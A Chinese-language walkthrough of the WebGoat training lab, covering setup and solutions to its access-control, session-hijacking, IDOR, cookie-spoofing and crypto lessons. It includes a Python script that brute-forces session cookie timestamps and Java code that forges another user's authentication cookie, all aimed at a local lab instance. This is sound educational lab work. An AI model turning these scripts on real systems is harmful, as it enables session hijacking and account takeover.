从 0 到 1 玩转 2025 最新 WebGoat 靶场:环境搭建 + 全关卡漏洞解析(超级详细)

文章目录

  • 环境搭建
    • Windows
    • [Docker (部分题目必须使用)](#Docker (部分题目必须使用))
  • Introduction
  • Gerenal
    • [HTTP Basics](#HTTP Basics)
    • [HTTP Proxies](#HTTP Proxies)
    • [Developer Tools](#Developer Tools)
    • [CIA Triad](#CIA Triad)
    • [Writing new lesson](#Writing new lesson)
  • [(A1) Broken Access Control](#(A1) Broken Access Control)
    • [Hijack a session](#Hijack a session)
    • [Insecure Direct Object References](#Insecure Direct Object References)
    • [Missing Function Level Access Control](#Missing Function Level Access Control)
    • [Spoofing an Authentication Cookie](#Spoofing an Authentication Cookie)
  • [(A2) Cryptographic Failures](#(A2) Cryptographic Failures)
    • [Crypto Basics](#Crypto Basics)
  • [(A3) Injection](#(A3) Injection)
    • [SQL Injection (intro)](#SQL Injection (intro))
    • [SQL Injection (advanced)](#SQL Injection (advanced))
    • [SQL Injection (mitigation)](#SQL Injection (mitigation))
    • [Cross Site Scripting](#Cross Site Scripting)
    • [Cross Site Scripting (stored)](#Cross Site Scripting (stored))
    • [Cross Site Scripting (mitigation)](#Cross Site Scripting (mitigation))
    • [Path traversal](#Path traversal)
  • [(A5) Security Misconfiguration](#(A5) Security Misconfiguration)
    • [Cross-Site Request Forgeries](#Cross-Site Request Forgeries)
    • XXE
  • [(A6) Vuln & Outdated Components](#(A6) Vuln & Outdated Components)
    • [Vulnerable Components](#Vulnerable Components)
  • [(A7) Identity & Auth Failure](#(A7) Identity & Auth Failure)
    • [Authentication Bypasses](#Authentication Bypasses)
    • [Insecure Login](#Insecure Login)
    • [JWT tokens](#JWT tokens)
    • [Password reset](#Password reset)
    • [Secure Passwords](#Secure Passwords)
  • [(A8) Software & Data Integrity](#(A8) Software & Data Integrity)
    • [Insecure Deserialization](#Insecure Deserialization)
  • [(A9) Security Logging Failures](#(A9) Security Logging Failures)
    • [Logging Security](#Logging Security)
  • [(A10) Server-side Request Forgery](#(A10) Server-side Request Forgery)
    • [Server-Side Request Forgery](#Server-Side Request Forgery)
  • [Client side](#Client side)
    • [Bypass front-end restrictions](#Bypass front-end restrictions)
    • [Client side filtering](#Client side filtering)
    • [HTML tampering](#HTML tampering)
  • Challenges
    • Challenges-WebGoatChallenge
    • [Admin lost password](#Admin lost password)
    • [Without password](#Without password)
    • [Admin password reset](#Admin password reset)
    • [Without account](#Without account)

环境搭建

Windows

  1. 登录官网下载https://github.com/WebGoat/WebGoat/releases
  1. Windows 环境启动

    使用 JDK 23 在命令行中通过不同端口启动 Jar 包服务:

shell 复制代码
java -Dfile.encoding=UTF-8 -jar webgoat-2025.3.jar --webgoat.port=8001 --webwolf.port=8002
  1. 网页登录访问(首次登录需要注册账号)

Docker (部分题目必须使用)

在 Linux 环境中直接运行 WebGoat 基础镜像(推荐)

  1. 拉取并运行镜像

    部分课程需要容器与本地时区一致,可添加时区环境变量:

    shell 复制代码
    # 以 Ubuntu 系统举例
    sudo docker run -it -p 8001:8080 -p 8002:9090 -e TZ=Asia/Shanghai webgoat/webgoat
  2. 访问应用

    在 BurpSuite 中打开浏览器,访问:

    • WebGoat:http://{宿主机的IP}:8001/WebGoat/
    • WebWolf:http://{宿主机的IP}:8002/WebWolf/

Introduction

WebWolf

第 3 页

注册一个邮箱,格式为:{user}@

在 webwolf 平台接收邮件获取验证码:http://127.0.0.1:8002/WebWolf/mail

第 4 页

发送上一章获取的验证码即可:

在 webwolf 平台查看请求:http://127.0.0.1:8002/WebWolf/requests

Gerenal

HTTP Basics

第 2 页

输入注册的用户名。

第 3 页

直接点击 GO 并抓包该请求,发现该表单请求是 POST 类型,魔术数字在请求体参数 magic_num 中。


输入答案:

HTTP Proxies

第 5 页

本章节让我们排除 webgoat 服务的 mvc 这些无关的请求:

只需要在过滤器里配置隐藏mvc类型请求即可。

题目要求:

设置拦截,然后单击提交按钮提交下面的表单/请求。当您的请求被拦截(命中断点)时,请按如下方式对其进行修改:

  • 将方法更改为 GET
  • 添加标头 'x-request-intercepted:true'
  • 改为发送 'changeMe' 作为查询字符串参数,并将值设置为 'Requests are tampered easily' (不带单引号)
  • 然后让请求继续通过(通过点击播放按钮)。

开启 BurpSuite 拦截开关:

在 Reapter 模块中修改拦截的请求:

修改内容如下,点击 send 按钮发送,响应内容表示通过!

关闭拦截开关,刷新页面,已经是完成状态:


Developer Tools

第 4 页

本章节是让你学会使用 F12 浏览器控制台:

输入:webgoat.customjs.phoneHome(),填入返回的随机数字。

第 6 页

在本章节中,需要找到一个特定的 HTTP 请求并读取一个随机数字。

单击第一个按钮,生成一个 HTTP 请求。

尝试查找特定的 HTTP 请求。该请求应包含一个字段:networkNum:将之后显示的数字复制到下面的输入字段中。

当前提交该数字后,页面没有反应是存在 Bug,官方会修复:https://github.com/WebGoat/WebGoat/issues/2102

CIA Triad

安全是机密性、完整性、有效性三合一

  • 保密性是"不向未经授权的个人、实体或流程提供或披露信息的财产"。机密性要求未经授权的用户不应能够访问敏感资源。
  • 完整性意味着在数据的整个生命周期内保持数据的一致性、准确性和可信度。数据在传输过程中不得更改,未经授权的实体不应更改数据。
  • 可用性是"授权实体可按需访问和使用的属性"。换句话说,授权人员应始终能够访问允许的资源。

第 5 页

选项答案依次:

  1. 3 - 机密性:通过窃取存储姓名和电子邮件的数据库并将其上传到网站。
  2. 1 - 完整性:通过更改存储在数据库中的一个或多个用户的姓名和电子邮件。
  3. 4 - 可用性:通过对服务器发起拒绝服务攻击。
  4. 2 - CIA缺一不可:即使只有一个目标受到损害,系统安全也会受到损害。

Writing new lesson

本章节介绍向 WebGoat 添加新课程所需的步骤。

第 6 页

这一节其实是解决文章案例创建的题目。

解题步骤:本题关键在于代码审计能力

  1. 插件action标签监听方法"lesson-template/sample-attack"
  2. 查看"lesson-template/sample-attack"实现
  3. 页面中的代码如下,满足secretValue.equals(param1)则通过,查看secretValue的值即private final String secretValue = "secr37Value";,因此本题目只需要一个参数即可通过。
java 复制代码
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;@RestController 
@AssignmentHints({"lesson-template.hints.1", "lesson-template.hints.2", "lesson-template.hints.3"}) 
public class SampleAttack implements AssignmentEndpoint { 

    // 解密值
    private final String secretValue = "secr37Value";

    @Autowired
    private UserSessionData userSessionData; 

    @PostMapping("/lesson-template/sample-attack") 
    @ResponseBody
    public AttackResult completed(@RequestParam("param1") String param1, @RequestParam("param2") String param2) { 
        
        if (userSessionData.getValue("some-value") != null) {
            // do any session updating you want here ... or not, just comment/example here
            //return builder.failed(this).feedback("lesson-template.sample-attack.failure-2").build();
        }

        //overly simple example for success. See other existing lessons for ways to detect 'success' or 'failure'
        if (secretValue.equals(param1)) {
            return success(this) 
                    .output("Custom Output ...if you want, for success")
                    .feedback("lesson-template.sample-attack.success")
                    .build();
            //lesson-template.sample-attack.success is defined in src/main/resources/i18n/WebGoatLabels.properties
        }

        // else
        return failed(this) 
                .feedback("lesson-template.sample-attack.failure-2")
                .output("Custom output for this failure scenario, usually html that will get rendered directly ... yes, you can self-xss if you want")
                .build();
    }

(A1) Broken Access Control

Hijack a session

会话 ID 需要满足复杂性和随机性。如果用户特定的会话 ID 不复杂且随机,则应用程序极易受到基于会话的暴力攻击。

第 2 页

要求:预测"hijack_cookie"值。

查看题目代码:

https://github.com/WebGoat/WebGoat/tree/main/src/main/java/org/owasp/webgoat/lessons/hijacksession

核心代码逻辑:

  • hijack_cookie 被划分为两部分,其格式为 "<sequential number>-<unix epoch time>"。具体来说,cookie 值的第一部分是一个自增编号,每次生成新的 cookie 时该编号会递增 1;而 - 后面的部分则是请求提交时的毫秒级时间戳。
  • authorizedUserAutoLogin 方法通过随机概率模拟授权用户的自动登录行为。当随机数大于或等于 0.75 时,会创建一个新的已认证的 Authentication 对象,并将其会话 ID 添加到会话队列中,这个会话 ID 不会作为hijack_cookie响应给用户。
  • 在生成 hijack_cookie 的过程中,有时会出现编号不连续的情况,也就是存在间隙。这是因为中间有合法用户登录系统,系统为该用户生成并分配了一个授权的 cookie,从而导致顺序编号出现跳跃;这里指的就是authorizedUserAutoLogin中概率产生了通过认证的 ID。
  • 因此我们需要猜测的就是这个授权的会话 ID。
java 复制代码
/*
 * SPDX-FileCopyrightText: Copyright © 2021 WebGoat authors
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
package org.owasp.webgoat.lessons.hijacksession.cas;

import java.time.Instant;
import java.util.LinkedList;
import java.util.Queue;
import java.util.Random;
import java.util.concurrent.ThreadLocalRandom;
import java.util.function.DoublePredicate;
import java.util.function.Supplier;
import org.apache.commons.lang3.StringUtils;
import org.springframework.stereotype.Component;
import org.springframework.web.context.annotation.ApplicationScope;

// weak id value and mechanism

@ApplicationScope
@Component
public class HijackSessionAuthenticationProvider implements AuthenticationProvider<Authentication> {

  private Queue<String> sessions = new LinkedList<>();
  private static long id = new Random().nextLong() & Long.MAX_VALUE;
  protected static final int MAX_SESSIONS = 50;

  private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75;
  private static final Supplier<String> GENERATE_SESSION_ID =
      () -> ++id + "-" + Instant.now().toEpochMilli();
  public static final Supplier<Authentication> AUTHENTICATION_SUPPLIER =
      () -> Authentication.builder().id(GENERATE_SESSION_ID.get()).build();

  @Override
  public Authentication authenticate(Authentication authentication) {
    if (authentication == null) {
      return AUTHENTICATION_SUPPLIER.get();
    }

    if (StringUtils.isNotEmpty(authentication.getId())
        && sessions.contains(authentication.getId())) {
      authentication.setAuthenticated(true);
      return authentication;
    }

    if (StringUtils.isEmpty(authentication.getId())) {
      authentication.setId(GENERATE_SESSION_ID.get());
    }

    authorizedUserAutoLogin();

    return authentication;
  }

  protected void authorizedUserAutoLogin() {
    if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) {
      Authentication authentication = AUTHENTICATION_SUPPLIER.get();
      authentication.setAuthenticated(true);
      addSession(authentication.getId());
    }
  }

  protected boolean addSession(String sessionId) {
    if (sessions.size() >= MAX_SESSIONS) {
      sessions.remove();
    }
    return sessions.add(sessionId);
  }

  protected int getSessionsSize() {
    return sessions.size();
  }
}

解题步骤:

  1. 快速点击页面的Access按钮向 /WebGoat/HijackSession/login 端点发送请求(不设置 hijack_cookie),以获取一系列 hijack_cookie 值,同时开启 BurpSuite 抓包。

  2. 在 BurpSuite 中可以通过 Logger 菜单栏查看。

  1. 连续查看接口的响应内容,找到存在间隔的 Cookie;这里上一个 27 结尾,这一个 29 结尾,中间间隔了一个 28,- 后面是时间戳,说明 28 是授权的 Cookie,同时 28 - 后面的时间戳在 27 和 29 两个时间戳之间。
  1. 通过脚本找出正确的 hijack_cookie 并请求题目的接口,这里是遍历时间戳来请求上面图中的接口。

    python 复制代码
    import requests
    
    cookie_time = 1752883060712
    
    # 当 cookie_time 小于 1752883061173,则递增 cookie_time
    while cookie_time < 1752883061173:
        cookie_time += 1
        # 发送post请求
        url = "http://127.0.0.1:8001/WebGoat/HijackSession/login"
        data = {
            "username": "xxx",
            "password": "xxx"
        }
        cookies = {"JSESSIONID": "0D774B50FB718E5D0024961920468F3B", "hijack_cookie": "5343546305153429928-" + str(cookie_time)}
        r = requests.post(url, data=data, cookies = cookies)
        print(r.text)
        if "Congratulations" in r.text:
            print("Congratulations")
            print(cookies)
            break
  2. 运行结果:通过,符合预期。

  3. 刷新页面,结果通过

Insecure Direct Object References

第 2 页

许多访问控制问题很容易受到经过身份验证但未经授权的用户的攻击。

这一章节先完成认证,根据要求输入tomcat

第 3 页

应用安全攻击面的一个原则是查看与原始响应对可见内容的差异。换句话说,原始响应中通常存在未显示在屏幕/页面上的数据。

解题步骤:

  1. 点击View Profile,查看请求

响应中多出了 role, userId属性。

第 4 页

查看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java

  • 输入参数需要按照WebGoat/IDOR/profile/{authUserId}格式。
  • session 必须是 tom 的认证信息,因此 authUserId 也必须是 tom 的 userId。
java 复制代码
@PostMapping("/IDOR/profile/alt-path")
@ResponseBody
public AttackResult completed(@RequestParam String url) {
try {
  if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
    // going to use session auth to view this one
    String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
    // don't care about http://localhost:8080 ... just want WebGoat/
    String[] urlParts = url.split("/");
    if (urlParts[0].equals("WebGoat")
        && urlParts[1].equals("IDOR")
        && urlParts[2].equals("profile")
        && urlParts[3].equals(authUserId)) {
      UserProfile userProfile = new UserProfile(authUserId);
      return success(this)
          .feedback("idor.view.own.profile.success")
          .output(userProfile.profileToMap().toString())
          .build();
    } else {
      return failed(this).feedback("idor.view.own.profile.failure1").build();
    }

  } else {
    return failed(this).feedback("idor.view.own.profile.failure2").build();
  }
} catch (Exception ex) {
  return failed(this).output("an error occurred with your request").build();
}
}

查看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java

发现 tom 的 userId 是 2342384。

java 复制代码
private void setProfileFromId(String id) {
    // emulate look up from database
    if (id.equals("2342384")) {
      this.userId = id;
      this.color = "yellow";
      this.name = "Tom Cat";
      this.size = "small";
      this.isAdmin = false;
      this.role = 3;
    } else if (id.equals("2342388")) {
      this.userId = id;
      this.color = "brown";
      this.name = "Buffalo Bill";
      this.size = "large";
      this.isAdmin = false;
      this.role = 3;
    } else {
      // not found
    }
  }

那么还需要获取以 tom 的身份通过认证,查看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java

发现登录名和密码是:tom 和 cat。

java 复制代码
public void initIDORInfo() {
    idorUserInfo.put("tom", new HashMap<String, String>());
    idorUserInfo.get("tom").put("password", "cat");
    idorUserInfo.get("tom").put("id", "2342384");
    idorUserInfo.get("tom").put("color", "yellow");
    idorUserInfo.get("tom").put("size", "small");

    idorUserInfo.put("bill", new HashMap<String, String>());
    idorUserInfo.get("bill").put("password", "buffalo");
    idorUserInfo.get("bill").put("id", "2342388");
    idorUserInfo.get("bill").put("color", "brown");
    idorUserInfo.get("bill").put("size", "large");
  }

在章节2登录 tom 的账号。

在章节4页面输入WebGoat/IDOR/profile/2342384通过。

第 5 页

目标1:使用查看自己个人资料的路径查看其他人的个人资料。

  1. 抓包并使用 URL 解码

使用 Decoder 模板解码:直接使用 Smart decode 即可解码。

  1. 修改{userId}为代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java 中的 2342388
java 复制代码
else if (id.equals("2342388")) {
      this.userId = id;
      this.color = "brown";
      this.name = "Buffalo Bill";
      this.size = "large";
      this.isAdmin = false;
      this.role = 3;

查看响应,通过。

目标2:修改用户(Buffalo Bill)的配置文件。将角色更改为较低的角色,同时将用户的颜色更改为"红色"。

查看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfile.java

  • @PutMapping 表示使用 PUT 方法;
  • "application/json" 说明请求方式是 json;
  • 通过 UserProfile 对象获取数据,需要传入完整的对象参数;
  • 传入参数的 role <= 1 且 color 小写是 red 才能返回成功的结果。
java 复制代码
@PutMapping(path = "/IDOR/profile/{userId}", consumes = "application/json")
  @ResponseBody
  public AttackResult completed(
      @PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) {

    String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
    // this is where it starts ... accepting the user submitted ID and assuming it will be the same
    // as the logged in userId and not checking for proper authorization
    // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let
    // everyone, right?
    // Except that this is a vulnerable app ... so we will
    UserProfile currentUserProfile = new UserProfile(userId);
    if (userSubmittedProfile.getUserId() != null
        && !userSubmittedProfile.getUserId().equals(authUserId)) {
      // let's get this started ...
      currentUserProfile.setColor(userSubmittedProfile.getColor());
      currentUserProfile.setRole(userSubmittedProfile.getRole());
      // we will persist in the session object for now in case we want to refer back or use it later
      userSessionData.setValue("idor-updated-other-profile", currentUserProfile);
      if (currentUserProfile.getRole() <= 1
          && currentUserProfile.getColor().equalsIgnoreCase("red")) {
        return success(this)
            .feedback("idor.edit.profile.success1")
            .output(currentUserProfile.profileToMap().toString())
            .build();
      }
...

修改请求,重放后通过。

Missing Function Level Access Control

第 2 页

本页要求找到隐藏的功能菜单。

直接通过元素定位查找,发现一个hidden-menu-item标签。

输入答案后通过:

第 3 页

本页目标获取泄漏的用户信息。

直接查看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java

存在隐藏接口:access-control/users

java 复制代码
@GetMapping(
      path = {"access-control/users"},
      consumes = "application/json")
@ResponseBody
public ResponseEntity<List<DisplayUser>> usersService() {
return ResponseEntity.ok(
    userRepository.findAllUsers().stream()
        .map(user -> new DisplayUser(user, PASSWORD_SALT_SIMPLE))
        .collect(Collectors.toList()));
}

使用 BurpSuite 构造请求:返回结果包含3个 hash 值。

查看关卡代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java

必须是 Jerry 的 hash 值才行,因此使用上面的响应结果中 Jerry 的 hash 值。

java 复制代码
@PostMapping(
      path = "/access-control/user-hash",
      produces = {"application/json"})
@ResponseBody
public AttackResult simple(String userHash) {
User user = userRepository.findByUsername("Jerry");
DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE);
if (userHash.equals(displayUser.getUserHash())) {
  return success(this).feedback("access-control.hash.success").build();
} else {
  return failed(this).build();
}
}

输入 hash 值后通过。

第 4 页

本页节是上一页的进阶版。

直接看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java

发现可以使用 POST 请求接口 access-control/users新建一个用户,需要传入 User 对象为参数。

java 复制代码
 @PostMapping(
      path = {"access-control/users", "access-control/users-admin-fix"},
      consumes = "application/json",
      produces = "application/json")
@ResponseBody
public User addUser(@RequestBody User newUser) {
try {
  userRepository.save(newUser);
  return newUser;
} catch (Exception ex) {
  log.error("Error creating new User", ex);
  return null;
}

查看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/missingac/User.java

知道了 User 对象的参数。

java 复制代码
@Data
@AllArgsConstructor
@NoArgsConstructor
public class User {

  private String username;
  private String password;
  private boolean admin;
}

构造请求:成功创建一个 Admin 用户,这里需要使用自己**当前登录账号的用户名 / 密码 **。

查看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java

通过使用 GET 请求接口 access-control/users-admin-fix 获取所有用户列表。

java 复制代码
@GetMapping(
      path = {"access-control/users-admin-fix"},
      consumes = "application/json")
@ResponseBody
public ResponseEntity<List<DisplayUser>> usersFixed(@CurrentUsername String username) {
var currentUser = userRepository.findByUsername(username);
if (currentUser != null && currentUser.isAdmin()) {
  return ResponseEntity.ok(
      userRepository.findAllUsers().stream()
          .map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN))
          .collect(Collectors.toList()));
}
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}

输入 Jerry 的 userHash 值,通过。

通过 Cookie 的仿冒来绕过身份认证。

  • 对于身份验证系统的安全来说,cookie生成算法保持安全且不易被猜测至关重要。如果攻击者能够预测算法,他们能够为不同的用户生成有效的身份验证 cookie,从而绕过身份验证机制并冒充其他用户。

  • 为了降低这种风险,必须采用强大且加密安全的算法来生成身份验证 cookie。这些算法应使用强大的随机化和哈希技术来确保生成的 cookie 的唯一性和不可预测性。

  • 实施会话过期和定期轮换身份验证 cookie 等措施可以进一步增强安全性。通过频繁更改 cookie 值并强制执行会话超时,攻击者利用任何潜在漏洞的机会大大减少。

总体而言,保护身份验证 cookie 生成算法的机密性和完整性对于防止未经授权的访问和维护身份验证机制的完整性至关重要。

第 2 页

目标:推测身份验证 cookie 的生成方式,仿冒 cookie 并以 Tom 身份登录。

直接看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java

核心代码:生成 Cookie 的代码是这句String newCookieValue = EncDec.encode(lowerCasedUsername);

java 复制代码
private AttackResult credentialsLoginFlow(
  String username, String password, HttpServletResponse response) {
        String lowerCasedUsername = username.toLowerCase();
        if (ATTACK_USERNAME.equals(lowerCasedUsername)
            && users.get(lowerCasedUsername).equals(password)) {
          return informationMessage(this).feedback("spoofcookie.cheating").build();
        }

    String authPassword = users.getOrDefault(lowerCasedUsername, "");
    if (!authPassword.isBlank() && authPassword.equals(password)) {
      String newCookieValue = EncDec.encode(lowerCasedUsername);
      Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue);
      newCookie.setPath("/WebGoat");
      newCookie.setSecure(true);
      response.addCookie(newCookie);
      return informationMessage(this)
          .feedback("spoofcookie.login")
          .output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue()))
          .build();
    }

    return informationMessage(this).feedback("spoofcookie.wrong-login").build();
}

继续查看生成规则的代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java

核心步骤:

  1. 将传入的用户名转换为小写形式,并与一个长度为 10 的随机字母字符串(即SALT)拼接在一起。
  2. 将拼接后的字符串进行反转操作。反转操作通过revert方法实现
  3. 反转后的字符串会被进行十六进制编码。使用Hex.encode方法将字符串的字节数组转换为十六进制字符数组,再将其转换为字符串。
  4. 将十六进制编码后的字符串进行 Base64 编码,得到最终的 cookie 值。
java 复制代码
private static final String SALT = RandomStringUtils.randomAlphabetic(10);

public static String encode(final String value) {
    if (value == null) {
      return null;
    }

    String encoded = value.toLowerCase() + SALT;
    encoded = revert(encoded);
    encoded = hexEncode(encoded);
    return base64Encode(encoded);
}

private static String revert(final String value) {
    return new StringBuilder(value).reverse().toString();
}

private static String hexEncode(final String value) {
    char[] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8));
    return new String(encoded);
}

private static String base64Encode(final String value) {
    return Base64.getEncoder().encodeToString(value.getBytes());
}

因此,按照此逻辑使用 Java 代码生成 tom 的 Cookie 即可,当前我是用 JDK 21 版本,使用 Maven 导入依赖。

java 复制代码
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import org.apache.commons.lang3.RandomStringUtils;
import org.springframework.security.crypto.codec.Hex;

public class test {
    // 生成 10 位随机字母盐值
    private static final String SALT = RandomStringUtils.randomAlphabetic(10);

    public static String encode(final String value) {
        if (value == null) {
            return null;
        }
        // 将用户名转换为小写并拼接盐值
        String encoded = value.toLowerCase() + SALT;
        // 反转字符串
        encoded = revert(encoded);
        // 十六进制编码
        encoded = hexEncode(encoded);
        // Base64 编码
        return base64Encode(encoded);
    }

    private static String revert(final String value) {
        return new StringBuilder(value).reverse().toString();
    }

    private static String hexEncode(final String value) {
        char[] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8));
        return new String(encoded);
    }

    private static String base64Encode(final String value) {
        return Base64.getEncoder().encodeToString(value.getBytes());
    }

    public static void main(String[] args) {
        String username = "tom";
        String cookie = encode(username);
        System.out.println("tom 的 cookie 值: " + cookie);
    }
}

依赖 pom.xml 文件:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.jerry</groupId>
    <artifactId>test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>21</maven.compiler.source>
        <maven.compiler.target>21</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-lang3</artifactId>
            <version>3.18.0</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.security</groupId>
            <artifactId>spring-security-core</artifactId>
            <version>6.4.4</version>
        </dependency>
    </dependencies>

</project>

运行结果:

发送请求,结果通过:

页面结果也是通过:

(A2) Cryptographic Failures

Crypto Basics

第 2 页

  • 编码并不是真正的密码学,但它在围绕加密功能的各种标准中被大量使用。尤其是 Base64 编码。
  • Base64 编码是一种用于将各种字节转换为特定字节范围的技术。这个特定范围是 ASCII 可读字节。这样就可以更轻松地传输二进制数据,例如密钥或私钥。
  • 编码也是可逆的。

本页目标:解码 eWp5c3NzOnNlY3JldA==,根据你的用户名生成的。

直接使用 BurpSuite 的 Decoder 模块,使用 Base64 解码得到结果。

第 3 页

从默认的 XOR 编码字符串中找到原始密码。

这个题目目前存在一个问题:没有给出 XOR 的密钥,通过源码 WebGoat/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java 可知答案是 databasepassword

java 复制代码
@RestController
@AssignmentHints({"crypto-encoding-xor.hints.1"})
public class XOREncodingAssignment implements AssignmentEndpoint {

  @PostMapping("/crypto/encoding/xor")
  @ResponseBody
  public AttackResult completed(@RequestParam String answer_pwd1) {
    if (answer_pwd1 != null && answer_pwd1.equals("databasepassword")) {
      return success(this).feedback("crypto-encoding-xor.success").build();
    }
    return failed(this).feedback("crypto-encoding-xor.empty").build();
  }
}

我暂时没用其他线索,只能通过答案反推出密钥是________________,Java 代码如下:

java 复制代码
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class XORDecoder {
    public static void main(String[] args) {
        String encoded = "Oz4rPj0+LDovPiwsKDAtOw==";
        String original = "databasepassword";

        // Base64 解码
        byte[] decodedBytes = Base64.getDecoder().decode(encoded);
        byte[] originalBytes = original.getBytes(StandardCharsets.UTF_8);

        // 检查长度是否一致
        if (decodedBytes.length != originalBytes.length) {
            System.out.println("长度不一致,无法进行 XOR 解码。");
            return;
        }

        // 反向推导密钥
        byte[] key = new byte[decodedBytes.length];
        for (int i = 0; i < decodedBytes.length; i++) {
            key[i] = (byte) (decodedBytes[i] ^ originalBytes[i]);
        }

        // 输出密钥
        System.out.print("推测的 XOR 密钥(字节数组形式): ");
        for (byte b : key) {
            System.out.print(b + " ");
        }
        System.out.println();

        // 尝试将密钥转换为字符串(注意:密钥可能包含不可打印字符)
        String keyString = new String(key, StandardCharsets.UTF_8);
        System.out.println("推测的 XOR 密钥(字符串形式): " + keyString);
    }
}

再通过该密钥使用 python 代码进行 XOR 解码:

python 复制代码
import base64

# 输入的 Base64 编码字符串
encoded = "{xor}Oz4rPj0+LDovPiwsKDAtOw=="

# 移除前缀并进行 Base64 解码
data = base64.b64decode(encoded[5:])


# XOR 解密函数
def xor_decrypt(data, key):
    # 把密钥转换为字节序列
    if isinstance(key, str):
        key_bytes = key.encode('utf-8')
    else:
        key_bytes = bytes([key])

    # 执行 XOR 运算
    decrypted = bytearray()
    key_length = len(key_bytes)
    for i in range(len(data)):
        decrypted.append(data[i] ^ key_bytes[i % key_length])

    return decrypted


# 密钥是 '________________':
decrypted = xor_decrypt(data, '________________')
print(decrypted.decode('utf-8'))
# 打印结果 databasepassword

输入答案:databasepassword

第 4 页

不应再使用某些不安全的哈希算法:如 MD5、SHA-1 ,因为可以通过修改 payload,使其仍然产生相同的哈希值。

普通密码不应存储在数据库中, hash 算法需要添加 使用足够强度的盐值

OWASP 官方说明:https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html

本页目标:不安全 hash 的解密。

  • 本页的 hash 值,第一个使用 md5 这种不安全的加密算法,第二个使用 sha256 但是没有加盐;

  • 通过在线网站即可解密:https://www.cmd5.com/default.aspx


输入后通过:

第 6 页

签名是一种哈希值,可用于检查某些数据的有效性。

本页目标:有一个私有 RSA 密钥。确定 RSA 的 key 作为十六进制字符串的模数,并使用该 key 计算该十六进制字符串的签名。该练习需要一些 OpenSSL 的操作。

提供的私钥 key 如下:

powershell 复制代码
-----BEGIN PRIVATE KEY-----
